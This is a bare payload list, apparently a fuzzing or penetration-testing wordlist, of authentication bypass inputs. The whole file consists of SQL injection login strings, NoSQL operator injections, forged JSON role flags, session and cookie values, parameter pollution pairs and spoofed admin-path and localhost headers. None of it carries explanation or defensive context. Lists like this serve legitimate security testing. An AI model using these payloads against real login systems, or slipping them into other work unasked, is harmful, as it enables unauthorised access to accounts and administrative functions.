# Authentication Bypass Payloads

# SQL injection authentication bypass
admin' --
admin' #
admin'/*
' OR '1'='1' --
' OR 1=1--
admin' OR '1'='1
') OR ('1'='1
' OR 'x'='x
admin') OR ('1'='1'--

# NoSQL authentication bypass
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$in": ["admin", "administrator"]}, "password": {"$gt": ""}}

# JSON payload manipulation
{"username":"admin","password":"admin","role":"admin"}
{"username":"admin","password":"wrong","isAdmin":true}
{"username":"admin","is_authenticated":true}

# Session manipulation
PHPSESSID=admin
session_id=00000000-0000-0000-0000-000000000001
token=admin_token
auth=true

# Parameter pollution
username=attacker&username=admin
user=normal&user=admin

# Cookie manipulation
admin=true
isAdmin=1
role=admin
authenticated=true
user_level=admin

# Header injection
X-Forwarded-For: 127.0.0.1
X-Original-URL: /admin
X-Rewrite-URL: /admin
X-Originating-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1